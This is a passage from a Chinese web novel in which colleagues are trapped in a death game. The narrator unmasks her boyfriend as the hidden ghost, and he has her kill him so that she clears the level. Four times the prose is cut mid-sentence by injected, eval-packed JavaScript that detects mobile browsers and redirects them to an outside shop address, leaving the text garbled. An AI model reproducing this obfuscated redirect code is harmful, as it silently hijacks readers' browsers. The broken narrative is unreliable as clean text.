灯光下,丁黎梓肩上的伤口比我预想的更深。血已浸透了他大半边衣襟,可他的表情却平静得异常。赵美铭忙着翻找药箱,我则盯着他额角渗出的细汗——不知是疼的,还是别的什么。 “你这伤需要缝合。”我取出备用的针箱,“没有麻药,忍着。” 他抬起眼看了我一下,居然笑了:“你还会这个?” “之前的游戏里,我给自己缝过腿。”我剪开他的衣袖,酒精直接浇上伤口。他浑身肌肉骤然绷紧,喉结滚动,却没出声。 赵美铭别过脸不敢看。屋子里只剩下针线穿透皮肉的细微声响,和三个人压抑的呼吸。 缝到第七针时,丁黎梓忽然低声开口:“你遇到鬼了吗。” 我的手顿了顿。 “我遇到了,只不过杀了它的时候,副本没有结束。” 嗯,大概是因为杀的是NPC鬼。我继续缝合,示意他说下去。 “后来,我听说鬼常在这附近出没,所以我去了趟岛原·玉屋边玩边打听消息。”他吸了口气,“然后我看见她了……理子。” 针尖刺偏了一分。 “你说谁?” “理子。”丁黎梓继续陈述,“我不止去了玉屋一次,我每次都会点不同的游女服务,但只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976118|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理子的房间,我感觉很不一样。” “怎么说?”我的声音很干。 “听遣手说她是太夫之下最有名的游女,可她的房间很乱,有种说不出的感觉,我当时在门口看的时候就觉得不对劲。” 他的手指无意识地抠紧了榻榻米边缘,“见习游女给我们倒茶的时候,不小心烫到了理子,理子直接打了她一巴掌,我也没出声,可是我悄悄瞥见她的烫伤很快就恢复了。” 最后一针打完结,我剪断线。 “所以你分明是看到理子被我带回了家,过了一阵子发现我们毫发无伤,才来我宅邸的。”我直视他的眼睛,“为什么说谎?” 他沉默了很久。窗外传来巡夜人的梆子声,三更了。 “因为我遇到的鬼不止理子一个。”他终于说,“有天傍晚,我看到一个人在疯狂啃食什么,我看不清脸,但那个人手里提着的灯笼,和你们宅子廊下挂的一模一样。” 我愣了下,宅子里的灯笼是特制的,纸面上印着家纹。 “你确定?” “确定。”丁黎梓缓缓拉好衣服,“所以我才翻墙进来。” 赵美铭终于转过头来,脸色苍白:“所以我们家里……的的确确有鬼?” 我没回答,起身走到窗边。 丁黎梓说鬼就在我们家里,可是……这两天除了村田,没听说谁死了啊,所以那个鬼啃食的是什么? 越想越烦躁,我猛地推开窗户。夜风灌进来,带着河水的腥气。离我们最近的那盏石灯笼里,火焰忽然“噗”地一声变成了幽绿色。 紧接着,整条回廊的灯笼一盏接一盏地转绿。 “趴下!”我厉声喝道,同时扑向还坐着的丁黎梓。 几乎在同一瞬间,所有灯笼炸开。 我抬眼,十几只鬼站在回廊上。 她们同时抬起头,漆黑的眼眶对着我们的窗户。 “不够…还不够……”重叠的声音像坏掉的唱片,“要更多的…怨恨……” 赵美铭的尖叫卡在喉咙里。我死死捂住她的嘴,另一只手已经摸向了腰后的刀。 “啧,木佐到底在不在家啊。”我有点慌了,毕竟这么多鬼,我一个人肯定搞不定的。 鬼影扑至丁黎梓的刹那,我迅速挥刀,刃口切入脖颈的触感滞涩得像在劈开湿柴,一颗头颅滚落在地。 耳边寂静如初。 系统依旧没有提示。 刀刃还悬在半空,但我心里已一片雪亮。 这些嘶嚎着正面冲来的怪物,绝不可能是玩家鬼。 若真是玩家,怎会如此毫无策略、甚至……像是被某种本能驱使着的野兽? 它们不过是这宅子养分滋生的爪牙,是帷幕前的提线木偶。 真正执棋的“鬼”,此刻一定藏在更深、更暗的地方,冷静地注视着我们狼狈挥刀的模样。 我将短刀塞进赵美铭颤抖的手里,自己持打刀横步上前,刀刃在昏光中拉出一道弧线。 可那些鬼影,竟像早已盘算好似的。 它们虚晃几招擦过我的刀锋,身形一错,便全数扑向了我身后的两人——仿佛嗅到了更脆弱、更诱人的气息。 “小心!” 我旋身猛扑向赵美铭,却瞥见一道森然鬼爪直直向我后背落下。 来不及了! 我猛地闭上眼。 5. 第5章 铮——! 木佐的刀,在我身侧斩落一道寒光。 那一瞬间,鬼爪的黑影、赵美铭的惊叫、丁黎梓皱眉捂着伤口的模样——全都褪成了模糊的背景。我眼里只剩下那道挥刀的背影,利落、果断。 让我有一瞬间以为,是何彦明来救我了。 “别发呆,起来!” 他的低喝像一盆冷水,把我从短暂的恍惚里猛地拽回。 我咬牙撑起身,一手将仍在发抖的赵美铭护到身后,目光迅速扫过跌坐在地的丁黎梓。 “你受伤了,行动不便。”我朝着长廊左侧方向抬了抬下巴,“去那边最里头那间房躲着,门应当没锁,里头暂时安全。” 那是玄冥的房间。 赵美铭猛地转过头看我,她好像是反应过来了,眼神里的疑惑迅速被愤怒取代。她张了张嘴,却在对上我目光的瞬间,把话咽了回去。 没错,我就是故意的。 我怀疑玄冥就是那个藏在暗处的“玩家鬼”,而现在,我要让受伤无力自保的丁黎梓,亲自去替我探一探那扇门后的虚实。 毕竟鬼很难拒绝带血的猎物。 若玄冥真是鬼,丁黎梓便是投石问路的那颗石子;若不是……我就当卖了他个人情。 木佐的刀锋又斩开一道扑来的黑影,他侧头看了我一眼。那双眼睛里映着廊下飘摇的灯焰,看不清情绪。 丁黎梓撑着墙缓缓站起来,没多问,只深深看了我一眼。 “那你们小心。”他说完,便拖着脚步,一步一步朝长廊尽头的黑暗走去。 最后一只鬼在我刀下化作黑烟。 廊下只剩下粗重的喘息、刀刃滴落的粘稠污渍,以及弥漫在空气里的腥锈味。 我收刀回鞘,蹲下身向赵美铭伸出手。 指尖还没触到她的衣袖,她便猛地侧身避开,自己撑着地面站了起来。 她甚至没看我一眼,转身就朝长廊尽头丁黎梓离开的方向快步走去。 我有点尴尬,收回了悬在半空的手。 我知道,赵美铭在怪我。 廊道深处一片寂静。方才激战之中,我始终分神留意着那个方向——没有惨叫,没有撞击,什么都没有。丁黎梓进去那么久,如果玄冥真是鬼,绝不可能如此安静,所以我没有拦着赵美铭。 看来,我猜错了。 玄冥大概真的只是个高烧不退的侍从。而那个真正的“玩家鬼”,依然藏在更暗处,看着我们相互猜忌,彼此消耗。 木佐在一旁静静拭刀。 “你为什么要让那个男的去玄冥的房间?”他看了我一眼,又看了看赵美铭消失的走廊转角。 “因为他是个表里不一的男人,我害怕他,也讨厌他。” “为什么?” 为什么……这种事我能说出口吗。 在公司里,丁黎梓对每个同事都周到妥帖,聪明、通透,处事漂亮。工作能力更是顶尖,没人不服他。 他也确实帮过我不少。 我这人性子直,有次私下和同事抱怨了几句领导,没过多久他便知道了。 他把那几个同事都叫到跟前,当着面,语气温和地提醒我:“以后别再评价领导了,虽然这儿都是自己人。” 我明白他的用意。他是要把我的“错”摆在明处,用他的面子替我封住那些可能传出去的闲话。 我崇敬他,真的。 直到那次公司团建,大家都喝了酒,我当所有人的面对他表达了自己的敬佩。 几瓶下肚后,我晕得厉害,倒在饭店大厅的沙发上起不来。 他走过来扶我,说要背我上车。我摇头,说不用了——因为我当时觉得我们各自都有对象,这样总归不妥。他却坚持,说怕我摔着。 我想,也许他对谁都这么细心吧,便没再推辞。 可后来……他做出了让我完全无法理解的事。 —— “在想什么?”木佐的手忽然在我眼前晃了晃。 我回过神,这才意识到自己一直皱着眉,脸色大概很难看。 “没什么。”我扯开一个笑容。 “他做了什么,”木佐却没移开视线,“让你这么生气?” “真的没事。”我转身背对他,“我累了,有事明天再说吧。” 赵美铭一直没回来。 她大概和丁黎梓一起,在客房歇下了。 赵美铭和丁黎梓关系一直很好。她虽是新人,却很快成了丁黎梓无话不谈的好朋友。 如果此刻所有同事都在这儿,看见我这样把受伤的丁黎梓推出去试探,大概都会恨我吧。 不过也无所谓。反正在公司里,我也只是个小透明。 能力不拔尖,情商不上线,帮不上谁大忙,自然也不讨人喜欢。 大家都信服丁黎梓,他说什么就是什么。 就算我把真相摊开说,恐怕也不会有人愿意信我。 灯光照在空荡的廊上,将我独坐的身影拉得很长。远处客房里隐约传来赵美铭的说话声,语气关切。 我抱膝坐在原地,听着那话里模糊的暖意。 也好。 有些路,本来就是要一个人走的。 晨光透过纸门,将房间染成柔和的淡金色时,门外响起了轻轻的叩击。 我以为是赵美铭。 拉开门,站在那里的却是玄冥。 他就那样立在清澈的晨光里,神态平和,呼吸均匀,脸上已不见昨夜病态的青白。 阳光毫无阻碍地落在他身上,将他周身照得清晰分明——没有蒸腾的黑雾,没有扭曲的黑影。 我心底最后一丝怀疑,在这片光里无声散去。 “烧退了?”我问。 “是,托您的福。”他端着漆木托盘欠身,托盘中早饭的热气腾腾,“给您送早饭来了。” 其实我并未真的关心过他,此刻却还是侧身让他进来。 “怎么不在客厅吃?”我看着他摆好碗筷,随口问道。 “林小姐和那位先生一早就离开了。”玄冥的声音平稳如常,“客厅无人,您在此用便好。” “离开?”我愣了一下,“去哪儿了?” “林小姐说,要带那位先生回她自己的住处照料。” 玄冥垂着眼,布菜的动作一丝不苟。 我望着窗外明晃晃的庭院,一时也不知道该怎么办。 赵美铭这是真要与我划清界限了。 算了,这样直白的疏远,倒也干净。 只是丁黎梓… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976119|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我在心底冷笑,你明知道赵美铭对我有意见了,可你敢告诉她我为什么对你有意见吗?你实在太过虚伪,自己做过什么不会说出去,只会摆出一副可怜兮兮的样子。 那些日子,宅邸里忽然安静下来。赵美铭和丁黎梓的离开,反倒让我与木佐之间多出些许平和的朝夕。 我几乎贪婪地享受这段时光——看他晨起练剑时肩背拉出的流畅线条,与他并肩走在夜市攒动的人潮里,甚至在斩杀那些游荡的NPC鬼时,心底都会闪过一丝侥幸: 还好,这还不是玩家鬼。这样,这场游戏就还能继续,他就还能在我身边多留一会儿。 我把他当作止痛的药,一剂缓解我对何彦明刻骨思念的药。 直到那个闷热的午后,赵美铭猛地撞开了宅门。 她浑身被汗浸透,头发凌乱地黏在脸上,眼里全是惊惶:“晨晨……梨子、梨子出事了!” 我第一反应是抗拒。 丁黎梓的死活,与我何干? 可理智随即摁下了这抹情绪。 他是目前最关键的线索人物,说不定他是被玩家鬼伤害的呢。此刻,确实不是计较私人恩怨的时候。 “走。”我转身去取刀,下意识朝木佐房间的方向望了一眼,“我去叫他。” “我就不去了。” 木佐的声音却从回廊另一侧传来。 他倚在门边,手上沾着未干的陶泥,“你自己去便足够。”他身后屋内的工作台上,一个素坯的陶瓷瓶子初具形状,轮廓有些眼熟。 我看了他一眼,没再坚持。 我们坐在驾笼里,街景慢慢流过,我和赵美铭各自守着沉默。 最后还是我打破了僵局。 “丁黎梓伤在哪儿了?” “左臂骨折。”她头都没抬,“鬼倒没要他的命。你呢?把一个受了伤的人当棋子用,他是我们的朋友啊。” 我没接话。 “晨晨,”她终于转过脸来,眼底有失望,也有不解,“你怎么是个这么自私的人?” 那句话像一根细针,我再也绷不住了。 “我自私?”我听见自己的声音抬高了,又强行压下去,“赵姐,你不会日语,刚进副本的时候连路牌都看不懂。我明明可以不管你,自己去找线索——可我一路带着你,教你认路,带你回家,夜里鬼来了第一反应是把你护在后面。” “那你……”她哑口无言。 “我不想说理由。” 因为说了你肯定也不信。 到了赵美铭的住处,是一间普通的客栈。 陈设简单,东西不多,却在我们推门时,迎面窜出一只猫,亲昵地蹭上赵美铭的脚踝。 “赵姐,”我倒抽一口气,压低声音指向门外的标牌,“你没看到这写着‘宠物禁止’么?赶紧藏好,被房东发现你俩都得被轰出去。” 赵美铭慌忙抱起猫,闪身进了里屋。我这才转向虚掩的卧室门,抬手叩了叩。 “丁黎梓,是我。进来了。” “……嗯。” 推开门,他靠坐在床头,左臂打着粗糙的夹板,脸上没什么血色。 我没寒暄,径直走到床尾,直接开门见山。 “你说你遇到了鬼,那它为什么没吃你?” 6. 第6章 “我不知道。”丁黎梓避开我的视线,语气含糊,“他只是打断了我的胳膊,像是在折磨我一样。反正鬼就在你们家,我实在不理解你为什么还要继续住在那里。” “我可不像你那么弱。”我冷声道,“要是我遇到玩家鬼,肯定会毫不犹豫地杀了他。” 丁黎梓摇了摇头,似笑非笑。 我看不懂那是什么意思,但在我眼里,这和挑衅没什么区别,心里莫名一股火。 “就这些?”我盯着他,“你没有别的线索了?” “……” 他皱起眉,抬头看了我一眼,又很快把视线移开。 我已经没耐心再陪他绕圈子了,直接走到床前,一把揪住他的衣领。 “你说不说?!”我毫不客气,“反正你已经遇到他了,他没吃了你,就说明他一定是玩家鬼,是有理智的。虽然我也不明白他为什么不杀你,也不杀我……” 我凑近了些。 “你该不会是指望那个和我们对立的玩家,最后会放过我们吧?少做梦了。” 丁黎梓沉默了几秒,随后伸手把我的手腕拿开,像是做了什么心理准备。 “我们在反抗的时候,他被猫咬伤了。”他说,“手臂上有两个很大的血洞。” “你看到他手臂上有血洞,”我立刻抓住了重点,“却没看清他的脸?” 越想越不对劲。 “而且鬼的自愈能力很强,几个血洞,一下子就恢复了。” 丁黎梓没有再辩解,显然是不打算说实话了。 我心里大概有了数,多半是因为我之前拿他的命去试探玄冥是不是鬼,让他心里不痛快了。 无所谓。 反正鬼就在我家。 只要他还藏在那些侍从之中,我迟早能把他揪出来。 我一个人回了家。 丁黎梓的话,十有八九是在说谎。 可唯独那句—— 玩家鬼被猫咬伤——我却觉得是真的。 大方向上撒谎的人,往往不会特意编造这样细碎又具体的细节。越是随口带出的部分,反而越接近事实。 “玄冥。” “我在,兰小姐。” “哈基米哦南北绿豆。” “足が早くなる。” 我盯着他看了两秒。 “……你TM真是玩家啊???” 我终于可以对赵美铭和丁黎梓以外的人说中文了。 “我也没说过我不是。”他一脸坦然,“兰小姐。” “少叭叭。”我没好气地说,“你是玩家,干嘛不早点跟我们说?还有,你日语说得也太好了吧。” “我大学主修的是商务日语。” “你是玩家——”我深吸一口气,“你还、帮、我、洗、澡??” “我抽到的是侍从角色。”他语气理直气壮,“既然是角色设定,总得好好扮演。” …… 我此时此刻,真的很想一巴掌呼在这个色狼脸上。 “等我们出去了,我再找你算账。”我扶着额头,“既然你不是鬼,那我就把今天从其他玩家那儿得到的线索告诉你。” “好。”玄冥点头。 我告诉他,鬼一定就在我们家里。虽然概率不算高,但那名鬼极有可能带着猫咬过的痕迹。 说完,我拿出随身的本子,把家里所有侍从的名字一一写了下来。 “我目前确认的有两类。”我指着纸面,“你是全天贴身伺候我的,还有我‘养父’身边那名侍女,也是全天跟着他的。” “剩下的十名侍从,”我继续说,“我印象中是固定早班和晚班,而且没有轮班制度。” “没错。”玄冥看了一眼名单,“我这几天已经把他们的班次全部摸清了。” 他拿起笔,迅速划掉了所有早班的名字,只留下五个。 “那我干脆直接把他们调成早班不就行了?”我说,“谁不愿意,谁就有问题。” “办不到。”玄冥立刻否决,“只有家主才有权调整侍从班次,也就是你的‘养父’。” 他顿了顿,又补了一句:“而且最近家主在外谈生意,短时间内回不来。” 我啧了一声,只好妥协。 “那就先盯紧这五个晚班侍从吧。” “没问题。”玄冥应得很快,“男侍从交给我。” “女侍从我来观察。”我合上本子,“谁露出破绽,就直接标出来。” 我们特意加量了带血的生肉。 可那毕竟只是猪肉,对鬼的吸引力恐怕有限。为了让它尽快上钩,我索性划开了自己的手心,将血一滴一滴地滴在肉上。 我倒要看看,新鲜的人血,你还能忍多久。 夜里,我始终保持清醒,竖着耳朵听着四周的动静。 风声、木梁的轻响、偶尔传来的脚步声……可除此之外,再没有任何异常。 没有鬼。 也没有猎物上钩的迹象。 不知道这样熬了多久,意识终于开始发沉。 我实在撑不住了,把记录用的本子放在床铺边,合上眼睛睡了过去。 半夜,我好像听到了系统的提示音,但因为睡得迷迷糊糊,我没有听清楚。 —— 第二天,我是被一声凄厉的尖叫惊醒的。 那声音撕破了清晨的寂静。 是从侍从的房间方向传来的。 我顾不上多想,立刻朝声音传来的方向跑去。 是男侍的房间。 心里猛地一沉—— 难道是玄冥那边出事了?他的屋里……有人被吃了? 我一把推开房门。 门才刚开了一条缝,我甚至还没来得及看清屋内的景象,浓重的血腥味便迎面扑来,直冲喉咙。我胃里一阵翻涌,脚步不由得一顿,差点当场吐出来。 阳光从窗外斜斜照进来,照亮了原本昏暗的房间。 黑漆漆的屋子中央,一个男侍正抱着一具尸体—— 那张脸,被啃得只剩下半边。 我下意识捂住鼻子,强忍着翻涌的恶心,一步一步走近。 可越靠近,心就越往下沉。 我不敢相信自己看到的。 那是玄冥。 玄冥被吃了。 脑子里“嗡”的一声,所有声音仿佛在这一刻远去。原来,昨晚半夜那道模糊的系统提示音,并不是梦——是系统提醒有玩家死了。 我腿一软,扑通一声跪坐在玄冥的尸体旁。 就在不久前,我还因为他替我洗澡而恼火,还想着等事情结束了再找他算账。可现在,那些情绪全都消失得干干净净。 我从来没想过他会死,他罪不至此。 更没想过,鬼会对他下手。 这么多侍从,为什么偏偏是玄冥? 为什么不是我? 明明我才是那个最容易被盯上的目标。即便木佐教过我剑术,可玄冥比我高大,房间里还有那么多人在。不管怎么看,吃掉我这个独自待在房间里的人,难度都要小得多。 可他却死了。 和几名胆子较大的男侍一起,将玄冥安葬完毕后,我在太阳落山前回了家。 刚到家门口,就看见赵美铭和丁黎梓站在那里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976120|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们怎么过来了?”我停下脚步,“难道你们也——” “对。”丁黎梓接过话,“我们也听到了系统提示音,有玩家被吃掉了。” 他顿了顿,看向我。 “是哪个玩家?” “是我的侍从。”我说,“玄冥。” 空气明显安静了一瞬。 “他居然也是玩家……”赵美铭低声说道,语气里带着掩不住的错愕。 我没再接话。 “鬼终于开始杀玩家了。”丁黎梓看着我,语气意味深长,“既然玄冥死了,说不定下一个就是你。你跟我们走吧,住我们那儿。” 他顿了顿,又补了一句: “乖,听话。” …… 去NM的别用这种恶心的哄小孩一样的语气跟我说话!! 我还没开口,赵美铭就已经愣住了,立刻转头看向他,表情写满了震惊。 “一味地逃并不是办法。”我懒得再吐槽,只冷冷地回了一句,“你们要是害怕,现在回去也行。我还是选择留在这里。” 丁黎梓盯了我几秒,忽然开口:“那我也留下来。” 我直接白了他一眼。 “那……那我也留下来吧。”赵美铭犹豫了一下,小声说道,“晚上……咱们仨睡一起。” 说实话我真不想和满口谎言的人待在一个屋里。 为了不和丁黎梓待在同一个房间,我索性装作心事重重的样子,找了个借口,转身去了木佐的房间。 “嗯?睡不着么?”他仍垂首专注于手中的陶泥,指腹正细致地抹平瓶身的一处弧度。 “你今天怎么突然做起瓶子来了?也不陪我出去。” 我在他对面坐下,目光落在那渐成形的器皿上,“……以前我总想和男朋友一起去体验陶艺,可惜事情一桩接一桩,始终没去成。” “要试试么?”他并未抬头,“刚好做到一半。” 我自然不会推辞。挽起袖子,但我的目光被摆在地上已勾勒出纹样的瓶子吸引了过去。 一圈梅花盘绕瓶颈,往下是几朵莲花,底边则环着一缕卷草纹。好精细的功夫,只是线条浓黑,在素坯上显得格外突兀。 “这花纹……就是用墨画的?” “还没烧。烧成后,便是青色了。”他语气平常,手里修刮的动作未停。 “青色啊……那定会很好看。” 等等。 青色。 我的呼吸突然一滞。 这是青花瓷!! 寒意悄无声息地爬上脊背,我抬眼看他,他仍专注地调整着瓶底的厚度,侧脸在灯下平静无波,仿佛刚才那句话不过随口一提。 几秒钟的时间,像被拉得很长。 我缓缓垂下眼,指尖继续抚过那些未干的墨线。 “是啊,”我听见自己的声音带着一丝颤动,“烧出来……一定很美。” 没事的。 我在心底对自己重复。 青花瓷十四世纪就传入日本了,有人会做……并不稀奇。 指尖无意识地摩挲着陶坯边缘,我试图让这个理由说服自己。 而且玄冥说,木佐白天出去过。 等等,真的出去过吗?每次我和木佐一起出门,都是晚上。 我从未亲眼见过。 【“木佐先生从早上开始就不在,留了张信纸说自己白天有事出去。”】 记忆猛地拽出一段对话,脑海里是玄冥那平稳无波的声音。 信纸。 他只说了信纸。 也就是说……玄冥并未亲眼看见木佐踏入阳光之下。 7. 第7章 “木佐。” 我抬起手,指向廊外的枫树。 “你说,这叶子到了秋天会红,是因为花青素,还是类胡萝卜素?” “花青素。” 他答得很快,几乎不假思索。 话音落下的瞬间,他自己也微微一怔,像是被这个过于流畅的答案惊了一下。 他转过头,略带不解地看向我: “怎么突然问起这个?” 我没有回答。 只是跪坐在原地,一动不动地看着他。 庭院里的风穿过枫枝,几片红叶旋转着落在我们之间的走廊上。我感觉到自己的眼眶迅速发热,视线开始模糊。 他看着我不受控制轻颤起来的嘴角,似乎终于意识到了什么。他张了张嘴,像是想解释,却又哑然地顿住了。 “……我没答错吧?”他像在自言自语。 错了。 错得荒唐,错得致命。 进口怀表、太夫、驾笼……说明这关的背景是江户时代中后期。而“花青素”这个专有名词,要等到昭和十三年才会在一篇德国论文的译介中,第一次被正式使用在这个国家的学术语境里。 一个属于这个时代的NPC,绝不可能知道这个词。 我深吸一口气,滚烫的泪终于还是从眼角滑了下来,但声音却异常平静,甚至带着一丝冰凉的嘲意: “何彦明。” “游戏匹配机制……果然会把现实中离得最近的人,扔进同一个关卡里。” 他站在那里,手中还沾着未干的陶泥。那张属于“木佐”的脸上,所有刻意维持的平静、克制、疏离,在这一刻寸寸碎裂。 他只是用疲惫歉疚的眼神静静地看着我。 “晨晨。”他忽然换成了中文,“那天早上……我是去给你送午饭的。” “然后,”他停顿了很久,“我就被卷进来了。” 我用力抹掉脸上的泪,可新的温热又涌了上来。 “所以,鬼是你。”我的声音在发抖,却逼迫自己说下去,“被猫咬伤,消失的玄冥,还有丁黎梓被打断手臂——都是你,对不对?” “对。”他回答得没有半分犹豫,“刚进这个副本时,我觉得自己赢定了。‘鬼’的体能、愈合能力……加上我日语流利,杀光所有玩家通关,简直轻而易举。” 他挽起袖子,露出手臂。那里本该有两个深可见血的齿洞,如今却只剩下两道淡得几乎看不见的浅痕。 “直到我看见你。”他垂下手,声音低了下去,“我才明白,这游戏最残忍的是什么。” “我本来只想给玄冥一点点教训,因为他觊觎你的身体。”他望向我的眼睛,“可那天晚上,你用自己的血引鬼……我太饿了,晨晨。我饿得每一寸骨头都在尖叫,我无法通过吃普通食物获得饱腹感。” “我不可能碰你。” “所以……我只能吃了他。” 我握着他冰凉的手,仿佛这样就能把我的温度分给他一点。 “没关系的……一定有办法。”我的声音急促,像在说服自己,“你不是可以把别人也变成鬼吗?你把我变成鬼,然后我们一起……把剩下的玩家都处理掉,我们就能一起通关了……” 我知道这不可能。这不过是绝望中生出的、自欺欺人的藤蔓。 “丁黎梓也就罢了,”他轻轻抽回手,“但我知道,你不想赵美铭死。” 他顿了顿,声音更沉了些:“我也不能把玩家变成鬼。我的‘感染’,只对NPC有效。如果真能对玩家用,我早就……”他没说下去,只是摇了摇头,“系统不会留这种漏洞给我们钻的。” “那天晚上,你让受伤的丁黎梓去玄冥房间,我就看出你有多不待见他。” “后来我去赵美铭那里找他,他承认了。他说那晚是借着酒劲骚扰了你……他说他是真心喜欢你,一时冲动做了糊涂事,我想着,你身边能有个爱慕你的人,也许对你未来通关有好处。他也答应了我,会替我保护好你。” 他皱着眉,不知道是不是生气我没把这件事告诉他。 “但我不能不惩罚他,所以折了他一条手臂,算是个教训。” 骚扰……我忽然觉得有些可笑,真文明的词啊,前面该加个“性”字才对。 我摇摇头,丁黎梓果然又美化了所有丑陋的细节。 喜欢我? 多讽刺。 他明明有女朋友,而且还带给我们认识,经常高调秀恩爱。 “都是我的错……”我用手死死捂住脸,声音从指缝里漏出来,颤抖得不成样子,“要是我平时好好吃饭……你就不用特意给我送,也不会被卷进这个……这个恶心的游戏里……” 眼泪滚烫地渗进掌心,我弓起背,想把所有呜咽都压回身体里,却止不住肩头的抽动。 他沉默地走过来,在我身旁坐下,伸手将我轻轻揽进怀里。我的额头抵在他肩上,这大概是我最后一次依靠着他了。 “你不要想着自杀……别想用那种方式换我通关……”我揪紧他背后的衣料,声音闷在他怀里,破碎却执拗,“该死的是我……我宁愿你……把我们都杀了……” “晨晨。”他叫我的名字,手心覆上我颤抖的脊背,一下一下,“我们说过那么多想做的事……从大学到现在,八年了。说好要一起去学陶艺,却总被各种事耽搁。” 我们像在回忆里慢慢行走,诉说着以前的一点一滴。 “没想到最后……是在这种地方,用这种方式,勉强算是实现了。” “如果只能在这里实现,”我咬紧牙,“那我宁可一辈子……都不要去做什么陶艺。” 夜色包裹着我们,廊下的灯笼静静亮着。 他的手臂收得更紧了些,把下巴轻轻抵在我发顶。 “已经八年了。我想在今晚,再完成一个心愿……可以吗?” “……什么?” 我还没来得及反应,他已经向后退了一步。 下一瞬,他单膝跪地,指尖托着一枚戒指。 我的大脑一片空白,心脏却猛地撞了一下,悲喜交错,连呼吸都变得紊乱。 “班晨晨。” 他抬起头。 “你愿意嫁给我吗?” 多么不合时宜的求婚。 我哭出了声,却还是说了一句—— “我愿意。” “对不起,晨晨。”他声音低哑,“再不说,我怕就没有机会了。” 他将戒指缓缓戴到我手上。 “这个时代,好像并没有象征爱情的戒指。”他轻声说,“就用这个吧。驱魔用的戒指,当作是了。” “什么戒指都好……”我抬起手,指腹轻轻摩挲着那枚戒指,“是你给我的,就是最好的。” 下一刻,他握住我的手,将一把短刀放进我掌心。 还没等我反应过来,他已经紧紧扣住我的手腕,带着我的手,将刀锋抵在了他的脖子上。 “不……不……” 我慌乱地想要松手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976121|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他的力道大得惊人,根本不给我退路。 “有你这句话,”他说,“我已经没有遗憾了。” 我的视线彻底模糊了。 “我不选择自杀,”他继续说道,“是因为,杀死玩家鬼的人,可以获得特殊能力。” 我猛地一震。 “我不想让你失去这个机会。” “也不想,让其他玩家得到。” 我拼命摇头,眼神几乎是在祈求他—— 不要这样。 他却轻轻俯身,将额头抵在我的肩上。 “好温暖啊。” “最后能用我的死,把你送出去……已经是最好的结局了。” 我整个人僵住了。 “之后的关卡,”他贴着我,像是在叮嘱,又像是在告别,“不要心软。一直、一直勇敢地往前走吧。” 话音落下的那一刻,他忽然收紧了力道。 他握着我的手,将刀带着向前—— 下一瞬,一切都结束了。 而我,也承受不住这突如其来的巨大冲击。 意识像是被人猛地抽走了一样,视野突然变黑,身体失去了所有支撑倒在了他的身边。 等我再次醒来时,丁黎梓和赵美铭都在我旁边守着。 而何彦明的身体,正一点一点地消散成黑雾。 我没有去接丁黎梓递来的水,只是抬手抹了抹脸上的泪痕,随后小心翼翼地伸出手,将那团逐渐散开的黑雾,一点不剩地收进他亲手做的小青花瓷瓶里。 “叮咚——恭喜班晨晨、丁黎梓、赵美铭,顺利通关!” 系统提示音在耳边响起,清脆、欢快,与眼前的一切格格不入。 我面无表情地听着。 “根据本场表现,玩家班晨晨完成最终击杀任务,获得斩鬼后的特殊能力,积分加二十,并获得关卡物品奖励。” “请从以下异能中选择一项,作为下一个关卡的能力,并选择三样物品带走。” 我低头,看着掌心里那只冰凉的小青花瓷瓶。 没有回应系统。 仿佛只要我不开口,这一切就还能再慢一点结束。 系统并不理会我的绝望,反而带着几分愉快,笑嘻嘻地提醒道: “请在十秒内完成选择,否则视为弃权哦~” 【能力一:下一关若通关,获得的积分×2】 【能力二:下一关可获得一次透视能力】 【能力三:下一关扮演角色力气 ×3】 “选二。” 我几乎没有犹豫,随口说道。 “请选择可带走的物品三样。” 我环顾了一圈四周。 “我手上的戒指,装着黑雾的青花瓷瓶,还有一把武士刀。” 何彦明留下的念想,我无论如何都不可能放弃。 至于武士刀,原本有两把,但带走一把也足够了——至少是一件能握在手里的武器。谁知道下一关,会不会连自保的工具都没有。 “确认完毕。” 系统的声音依旧轻快而冷漠。 “玩家丁黎梓、赵美铭,积分各加五。请通关的三位玩家查看额头上的积分。” 